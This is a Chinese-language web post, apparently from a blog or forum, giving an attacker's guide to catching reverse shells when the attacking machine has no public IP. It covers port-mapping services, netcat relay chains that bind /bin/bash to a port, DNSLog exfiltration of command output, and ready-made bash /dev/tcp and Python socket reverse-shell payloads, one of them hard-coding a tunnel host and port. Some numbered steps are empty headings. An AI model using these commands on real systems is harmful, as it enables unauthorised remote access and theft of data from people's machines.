1. 使用内网穿透工具(推荐)
核心原理:通过第三方服务将内网端口映射到公网域名,绕过公网IP限制。 工具推荐:
- 贝锐花生壳(免费版可用)
- 注册账号并登录,选择「内网穿透」功能,添加TCP映射。
- 设置映射类型为TCP,内网主机IP为本地(如127.0.0.1),内网端口为监听的Shell端口(如54321)。
- 生成外网域名和端口,目标机通过该域名端口反向连接攻击机。
- cpolar(支持SSH穿透)
- 安装并配置SSH服务,结合cpolar生成公网访问地址,实现SSH反向连接。
操作步骤:
2. 利用中间代理服务器
场景:已有内网某主机的控制权,通过该主机转发流量。 工具:
- Netcat(nc):通过多层端口转发建立链路。
- 内网主机A执行:nc -lvp 4444 -e /bin/bash。
- 中间主机B(可出网)执行:nc -lvp 5555 -e nc <内网主机A_IP> 4444。
- 攻击机连接中间主机的公网端口:`nc <中间主机B_公网IP> 5555。
- lcx/htran:适用于Windows内网环境,通过端口转发实现多层穿透。
3. 使用DNS或HTTP协议带外(OOB)
适用场景:目标机可访问外网但无法直接建立TCP连接。 工具:
- DNSLog:通过DNS查询传递Shell命令结果。
- 攻击机生成DNSLog子域名(如xxx.dnslog.cn)。
- 目标机执行:ping $(whoami).xxx.dnslog.cn,通过DNS解析日志获取命令结果。
- HTTP带外:利用Web请求传递数据(需攻击机搭建Web服务)。
4. 利用云函数或在线平台
原理:通过云服务(如AWS Lambda、腾讯云函数)作为中继节点。 步骤:
5. 反弹Shell命令示例
Bash:
bash -i >& /dev/tcp/<穿透域名>/<穿透端口> 0>&1
Python:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("s546459d57.zicp.fun",23494))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
评论前必须登录!
注册